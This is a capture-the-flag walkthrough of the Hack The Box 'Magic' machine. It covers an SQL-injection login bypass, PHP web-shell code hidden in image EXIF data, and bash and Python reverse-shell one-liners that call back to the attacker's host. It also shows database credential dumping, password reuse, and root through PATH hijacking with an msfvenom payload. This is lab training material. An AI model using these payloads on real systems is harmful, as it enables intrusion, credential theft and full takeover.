Welcome to my technical walk through of the HTB Magic box!

Let's jump right in with an Nmap scan!

nmap -T4 -A -v -O 10.10.10.185

[...]
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA)
|   256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA)
|_  256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Magic Portfolio
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
[...]


Linux machine, only two open ports, I go get a look at the portal:

http://10.10.10.185/

It seems to be a simple portal with an image slider, I'm quite sure that somewhere there should be a section to upload the images and in fact there's a login link on the bottom left side. On the page, you can find a login form in php.

I think this box has a predictable direction; I suppose that here we have an SQL injection. To identify if the page is vulnerable to the SQL injection, you have to put a single apex on the fields of the form or a single apex followed by two minus sign to explain you have to insert on the username and password field ' or '--.

With surprise, this site is not only vulnerable to SQL injection, but we don't need either to insert the real string to bypass the form, that, for complete information, is ' OR '' = '. Anyway, we are in, go ahead. The page we show is exactly the upload page.

http://10.10.10.185/upload.php

For sure (I said, is predictable), we have to upload a reverse shell (in php) using the upload. I try with a simple php file changing the extension, but, probably there's a check on the MIME type. So I have to insert the reverse shell in a real image (allowed images is jpg, jpeg and png), but how? Searching on google "reverse shell into image php" I found this:

Proceed then.

exiftool -DocumentName="<h1>in7rud3r<br><?php if(isset(\$_REQUEST['cmd'])){echo '<pre>';\$cmd = (\$_REQUEST['cmd']);system(\$cmd);echo '</pre>';} __halt_compiler();?></h1>" image.jpeg


And it works... good, but let me try with something simplest and comfortable, like a real reverse shell.

exiftool -DocumentName="<?php exec(\"/bin/bash -c 'bash -i > /dev/tcp/10.10.15.126/4444 0>&1'\"); ?>" image.jpeg


I forgot, to launch the image and activate the php code inside it, the url on the portal is the following: http://10.10.10.185/images/uploads/image.php.jpeg (as you have seen on the video, the file have to be renamed with the "php" extension added between the name and the real extension).

Ok, launch a listener and navigate the image to open the shell.

in7rud3r@Mykali:~/Dropbox/hackthebox$ nc -lvp 4444
listening on [any] 4444 ...
10.10.10.185: inverse host lookup failed: Unknown host
connect to [10.10.15.219] from (UNKNOWN) [10.10.10.185] 57960
ls -l
total 8028
-rw-r--r-- 1 www-data www-data  560574 Apr 22 14:07 2.jpg
-rw-r--r-- 1 www-data www-data 5289209 Oct 22  2019 7.jpg
[...]
-rw-r--r-- 1 root     root      361568 Apr 14 04:56 trx.jpg
-rw-r--r-- 1 www-data www-data      48 Apr 22 14:42 x.php
ls -l /home/     
total 4
drwxr-xr-x 15 theseus theseus 4096 Apr 22 14:37 theseus
ls -l /home/theseus/
total 216
drwxr-xr-x 2 theseus theseus   4096 Oct 22  2019 Desktop
drwxr-xr-x 2 theseus theseus   4096 Oct 22  2019 Documents
[...]
-rwxrwxr-x 1 theseus theseus 133924 Apr 22 13:57 linpeas.sh
-r-------- 1 theseus theseus     33 Apr 22 13:59 user.txt
cat /home/theseus/user.txt


Mmmm, the cat command seems to not work properly. Could be possible that we have not the right privileges with that user (to inform you we are www-data user). I'd like to change the shell with another one, better than this one, but for now, go on. I start to search.

ls -l
total 40
drwxrwxr-x 6 www-data www-data 4096 Jun  6  2019 assets
-rw-r--r-- 1 www-data www-data  881 Oct 16  2019 db.php5
drwxr-xr-x 4 www-data www-data 4096 Apr 14 05:04 images
-rw-rw-r-- 1 www-data www-data 4528 Oct 22  2019 index.php
-rw-r--r-- 1 www-data www-data 5539 Oct 22  2019 login.php
-rw-r--r-- 1 www-data www-data   72 Oct 18  2019 logout.php
-rw-r--r-- 1 www-data www-data 4520 Oct 22  2019 upload.php
cat db.php5
<?php
class Database
{
    private static $dbName = 'Magic' ;
    private static $dbHost = 'localhost' ;
    private static $dbUsername = 'theseus';
    private static $dbUserPassword = 'iamkingtheseus';

[...]
            try
            {
                self::$cont =  new PDO( "mysql:host=".self::$dbHost.";"."dbname=".self::$dbName, self::$dbUsername, self::$dbUserPassword);
            }
[...]


What I find is a php file on the portal to connect to a mysql database, probably this credential is only for the database, but don't ignore possible lazy or junior system administrator. I try on the other open port (ssh).

in7rud3r@Mykali:~/Dropbox/hackthebox$ ssh theseus@10.10.10.185
The authenticity of host '10.10.10.185 (10.10.10.185)' can't be established.
ECDSA key fingerprint is SHA256:yx0Y6af8RGpG0bHr1AQtS+06uDomn1MMZVzpNaHEv0A.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.185' (ECDSA) to the list of known hosts.
theseus@10.10.10.185: Permission denied (publickey).


No, this way is closed. I would try it on the reverse shell, but with this one, I cannot use the su command to interpret the user, so, I try another way, just to understand.

exiftool -DocumentName="<?php exec(\"sudo -u theseus -p iamkingtheseus /bin/bash -c 'bash -i > /dev/tcp/10.10.15.126/4444 0>&1'\"); ?>" image.jpeg


Yea, but don't work, so, I quite sure that is not the password of the machine user. Ok, I need a better shell, I understand that I can launch python command so...

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.219",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'


Let me share with you an interesting page where are collected an interesting set of shells!

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Ok, good, but... I cannot launch su command again, because I need a TTY shell... woo... ok... again. search and go on!

Spawning a TTY Shell

I hope this time I am on the right track. Like the previous one I launch this command on the original shell launched on using the image uploaded.

python3 -c 'import pty; pty.spawn("/bin/sh")'


Ok, I try the su command and confirm that this is not the password of the theseus user on the machine, but the password of the mysql user. Probably I can do something with this user, but when I launch the mysql command, nothing happens, it seems that there's not the toll. I try to locate it, but all the bin I found don't work. So, I list all the mysql command on the folder to understand what I can use.

$ find ./ -name "mysql*"
find ./ -name "mysql*"
./mysqloptimize
./mysqldump
./mysqladmin
./mysqlshow
./mysqld_safe
./mysqlbinlog
./mysqldumpslow
./mysqlcheck
./mysql_ssl_rsa_setup
./mysqlimport
./mysql_tzinfo_to_sql
./mysql_upgrade
./mysqlslap
./mysql_secure_installation
./mysqlrepair
./mysqlanalyze
./mysql_config_editor
./mysqld_multi
./mysql_plugin
./mysql_embedded
./mysql_install_db
./mysqlpump
./mysqlreport


I try to understand if the credential I found is valid for the mysql database:

$ mysqladmin --user=theseus --password=iamkingtheseus status
mysqladmin --user=theseus --password=iamkingtheseus status
mysqladmin: [Warning] Using a password on the command line interface can be insecure.
Uptime: 16367  Threads: 1  Questions: 20539  Slow queries: 0  Opens: 141  Flush tables: 1  Open tables: 134  Queries per second avg: 1.254


Yes, that's fine. I consult a few pages on the internet about the commands I have found, finally I chose to use the dump (mysqldump) command to export the database.

$ mysqldump --all-databases --user=theseus --password=iamkingtheseus > /tmp/tidb.sql   
mysqldump --all-databases --user=theseus --password=iamkingtheseus > /tmp/tidb.sql
mysqldump: [Warning] Using a password on the command line interface can be insecure.
$ cat /tmp/tidb.sql
cat /tmp/tidb.sql
-- MySQL dump 10.13  Distrib 5.7.29, for Linux (x86_64)
--
-- Host: localhost    Database: 
-- ------------------------------------------------------
-- Server version       5.7.29-0ubuntu0.18.04.1

/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;

--
-- Current Database: `Magic`
--

CREATE DATABASE /*!32312 IF NOT EXISTS*/ `Magic` /*!40100 DEFAULT CHARACTER SET latin1 */;

USE `Magic`;

--
-- Table structure for table `login`
--

DROP TABLE IF EXISTS `login`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `login` (
  `id` int(6) NOT NULL AUTO_INCREMENT,
  `username` varchar(50) NOT NULL,
  `password` varchar(100) NOT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `username` (`username`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `login`
--

LOCK TABLES `login` WRITE;
/*!40000 ALTER TABLE `login` DISABLE KEYS */;
INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng');
/*!40000 ALTER TABLE `login` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;

/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;

-- Dump completed on 2020-04-23  3:31:45


Well done, another password, I'm quite sure this time is the password for the user theseus of the machine.

$ su theseus
su theseus
Password: Th3s3usW4sK1ng

theseus@ubuntu:/usr/bin$ cat /home/theseus/user.txt
cat /home/theseus/user.txt
5******************************2


And the first flag is done, going for the root.

To understand what I can do I download the lse.sh file (a script for linux that highlight the possible vulnerabilities of the machine) on the target machine, creating a simple web server on my machine with php tool.

To do this, on the local machine in the folder where you have downloaded the lse.sh file launch:

php -S 10.10.15.219:8000 -t ./


On the target machine, to get the file launch:

wget http://10.10.15.219:8000/lse.sh


The output of the lse.sh is long enough, here an extraction with the interesting part.

======================================================( file system )=====
[*] fst000 Writable files outside user's home........................ yes!
[*] fst010 Binaries with setuid bit.................................. yes!
[!] fst020 Uncommon setuid binaries.................................. yes!
---
/usr/bin/vmware-user-suid-wrapper
/bin/sysinfo
---
[!] fst030 Can we write to any setuid binary?........................ nope
[*] fst040 Binaries with setgid bit.................................. skip


As you can see I can start the sysinfo command in the bin folder and a suid wrapper for vmware. As interesting as the name of the vmware wrapper (suid) is, sysinfo attracts my attention. So, I go on the internet to study.

10 Useful Commands to Collect System and Hardware Information in Linux

Reading the list of command included in this tool (it give a large set of information), one of them attract me; on the description is written "Note: Do remember that the lshw command executed by superuser (root) or sudo user". I try to launch on the reverse shell I have already opened.

theseus@ubuntu:/tmp$ lshw
lshw
WARNING: you should run this program as super-user.
ubuntu                      
    description: Computer
    width: 64 bits
    capabilities: smp vsyscall32
  *-core
       description: Motherboard
       physical id: 0
[...]
             capabilities: pci normal_decode bus_master cap_list
             configuration: driver=pcieport
             resources: irq:55 memory:fb500000-fb5fffff ioport:e5c00000(size=1048576)
WARNING: output may be incomplete or inaccurate, you should run this program as super-user.


Ok, I have to create my custom lshw and replace or launch instead of the original one. My fake will be a reverse shell, so launched as root, when I connect I will root too. Well, my enphasis, bring me to search for complex things, so I go on google and search for "generate bin reverse shell linux msfvenom".

Generating Reverse Shell using Msfvenom (One Liner Payload)
in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.185 - Magic/attack$ msfvenom -p cmd/unix/reverse_bash lhost=10.10.15.219 lport=1111 R > lshw
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 61 bytes


Uploaded (or downloaded from the remote machine) the fake lshw file, I start to try to replace with the original one, but I have no access to the original file I identify. So probably I have to say to the sysinfo to use another one (mine), but how? Google is always your friend. Searching for "set command in order to launch other application linux" I found this.

How to set your $PATH variable in Linux
Telling your Linux shell where to look for executable files is easy, and something everyone should be able to do.

Good, I have to try.

export PATH=/tmp:$PATH
sysinfo
sysinfo: Permission denied


Initially, I thought that I mistook something because the lshw file I create doesn't work correctly, so I decide to make the simplest shell, without using msfvenom (I said simplest too many times in this tutorial, this should teach me something). So I create an executable file with a shell that I already used and that I know that works.

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.219",1111));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'


Finally, when I launch the sysinfo, on my local machine...

in7rud3r@Mykali:~/Dropbox/hackthebox/_10.10.10.185 - Magic/attack$ nc -lvnp 1111
listening on [any] 1111 ...
connect to [10.10.15.219] from (UNKNOWN) [10.10.10.185] 43784
# ls -l
total 8
-rwxr-xr-x 1 theseus theseus 230 Apr 23 13:15 lshw
-rwxr-xr-x 1 theseus theseus  61 Apr 23 13:10 lshw-old
# whoami
root
# cat /root/root.txt
3******************************6


And that's all, thanks, see you on the next walkthrough!

The awesome image used in this article is called Submission and was created by RONLEWHORN.